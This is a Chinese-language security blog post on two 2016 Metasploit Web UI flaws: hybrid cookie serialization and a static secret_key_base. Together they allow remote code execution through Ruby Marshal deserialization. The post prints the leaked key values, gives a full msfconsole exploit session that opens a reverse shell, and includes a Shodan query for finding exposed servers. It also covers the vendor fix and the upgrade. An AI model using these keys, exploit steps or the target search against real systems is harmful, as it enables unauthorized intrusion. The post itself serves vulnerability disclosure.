the heart of lucifer

Metasploit曝远程代码执行漏洞:别惹我,我疯起来连自己都黑

就在本周,Rapid7社区发布两个关于Metasploit框架的安全补丁,通过这两个漏洞,攻击者可以远程非授权执行任意代码。目前,安全研究人员已经发放出相关POC攻击代码。

t0199f6625196391e0f.png

漏洞一:Metasploit Web UI相关文件中的config.action_dispatch.cookies_serializer设置为:hybrid

漏洞信息

OVE ID: OVE-20160904-0001

私有披露日期: 2016-09-04

公开披露日期: 2016-09-19

厂商公告   : https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401

影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001

漏洞描述

Metasploit作为一个安全测试框架,里面集成了非常多的功能,比如msfconsole,msfvenom等,并且也提供了非常多的接口和界面,比如shell接口,Windows GUI页面,WEB UI页面等等。而这次的问题主要是出在WEB接口上。MSF Community, Express 和 Pro 版本的 Web UI在4.12.0-2016061501至4.12.0-2016083001版本中的config.action_dispatch.cookies_serializer 值设置为 :hybrid,并且引入了hybrid cookie序列化,这将允许反序列化JSON和Marshal序列化的cookies。直到Metasploit 4.12.0-2016091401,才将其值设置为:json。也就是说,只要cookie序列化设置为Marshal或hybird时,并且攻击者知道cookie signing key的值,那么攻击者就可以构造cookie,触发Marshal反序列化,实现任意代码执行。

参考

[0] http://blog.bigbinary.com/2014/12/23/migrating-existing-session-cookies-while-upgrading-to-rails-4-1-and-above.html

[1] https://www.rapid7.com/db/modules/exploit/multi/http/rails_secret_deserialization

漏洞二:Metasploit本周发布了静态的secret_key_base,这个将会导致远程命令执行代码

漏洞信息

OVE ID: OVE-20160904-0002

私有披露日期: 2016-09-04

公开披露日期: 2016-09-19

厂商公告   :https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401

影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001

漏洞描述

通过第一个漏洞,我们已经可以确定cookie序列化设置为hybird,但是攻击者还必须知道cookie signing key的值才可以构造cookie,实现远程代码执行。非常不幸的是,MSF WEB UI中的secret_key_base是静态的,并且该值是公开的。以下是目前已知受影响的MSF的值:

4.12.0-2016061501版本:d25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7

4.12.0-2016062101版本:99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc

4.12.0-2016072501版本:446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde

4.12.0-2016081001版本:61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a

4.12.0-2016081201版本:23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32

4.12.0-2016083001版本:18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615

其它版本:b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c

目前这个漏洞的利用脚本已经公开到MSF上,模块位置是exploit/multi/http/rails_secret_deserialization。大家可以更新自己的MSF使用此脚本,或者去GitHub上下载。

下载地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_secret_deserialization.rb

使用方法:

msf exploit(metasploit_static_secret_key_base) > info

Name: Metasploit Web UI Static secret_key_base Value

Module: exploit/multi/http/metasploit_static_secret_key_base

   Platform: Ruby

 Privileged: No

    License: Metasploit Framework License (BSD)

       Rank: Excellent

  Disclosed: 2016-09-15

Provided by:

  Justin Steven

  joernchen of Phenoelit <[email protected]>

Available targets:

  Id  Name

  —  —-

  0   Metasploit 4.12.0-2016061501 to 4.12.0-2016083001

Basic options:

  Name       Current Setting  Required  Description

  —-       —————  ——–  ———–

  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][…]

  RHOST                       yes       The target address

  RPORT      3790             yes       The target port

  SSL        true             no        Negotiate SSL/TLS for outgoing connections

  TARGETURI  /                yes       The path to the Metasploit Web UI

VHOST                       no        HTTP server virtual host

Payload information:

Description:

This module exploits the Web UI for Metasploit Community, Express

and Pro where one of a certain set of Weekly Releases have been

applied. These Weekly Releases introduced a static secret_key_base

value. Knowledge of the static secret_key_base value allows for

deserialization of a crafted Ruby Object, achieving code execution.

This module is based on

exploits/multi/http/rails_secret_deserialization

References:

  OVE (20160904-0002)

  https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401

msf exploit(metasploit_static_secret_key_base) > set RHOST 172.18.0.2

RHOST => 172.18.0.2

msf exploit(metasploit_static_secret_key_base) > set PAYLOAD ruby/shell_reverse_tcp

PAYLOAD => ruby/shell_reverse_tcp

msf exploit(metasploit_static_secret_key_base) > set LHOST 172.18.0.1

LHOST => 172.18.0.1

msf exploit(metasploit_static_secret_key_base) > set LPORT 4444

LPORT => 4444

msf exploit(metasploit_static_secret_key_base) > exploit

[*] Started reverse TCP handler on 172.18.0.1:4444

[*] Checking for cookie _ui_session

[*] Searching for proper SECRET

[*] Sending cookie _ui_session

[*] Command shell session 1 opened (172.18.0.1:4444 -> 172.18.0.2:47590) at 2016-09-19 19:26:30 +1000

id

uid=1(daemon) gid=1(daemon) groups=1(daemon)

exit

^C

Abort session 1? [y/N]  y

[*] 172.18.0.2 – Command shell session 1 closed.  Reason: User exit

Rapid7 在 etasploit 4.12.0-2016091401版本中修复了这个问题,将会检测secret_key_base的值是否是默认值,如果是,将重新生成,因此用户要尽快升级到Metasploit 4.12.0-2016091401或以上版本。

参考

[0] https://github.com/rapid7/metasploit-framework/pull/7304

[1] https://github.com/rapid7/metasploit-framework/pull/7341

总结

该漏洞在国内影响或许有些广泛,其主要原因是国内大部分宽带的IP要么是在内网,要么是动态的,并且还有GFW对众多域名和IP的拦截。复杂的网络环境导致大部分黑客会将MSF架设在境外的VPS或者私人服务器上,并且开启WEB GUI接口,以便随时对MSF进行控制和访问。换句话来说,国内有很多安全研究人员的MSF都处在公网IP。实际上该漏洞很早之前就爆料出来,只是

目前通过shodan搜索关键字title:”metasploit is initializing”,我们可以发现大部分公网中的MSF处在美国的服务器上。

1.png

梳理了一下这两个漏洞,漏洞的理由流程是

1. 通过漏洞二获取静态的secret_key_base

2. 通过漏洞一构造cookie

3. Marshal反序列化,实现任意代码执行

话说这个漏洞很早就已经爆料出来了,并且想不通metasploit为什么会犯这种低级错误,难道是背后有更多的“故事”?

不过说实话,这个漏洞的理由条件还是非常的苛刻。

1. 对方必须开机MSF WEB GUI接口

2. 对方的MSF版本必须在4.12.0-2016061501至4.12.0-2016083001

3. 对方的MSF需要处于在公网上,或者攻击者可以访问对方MSF WEB GUI的接口

发表评论

电子邮件地址不会被公开。 必填项已用*标注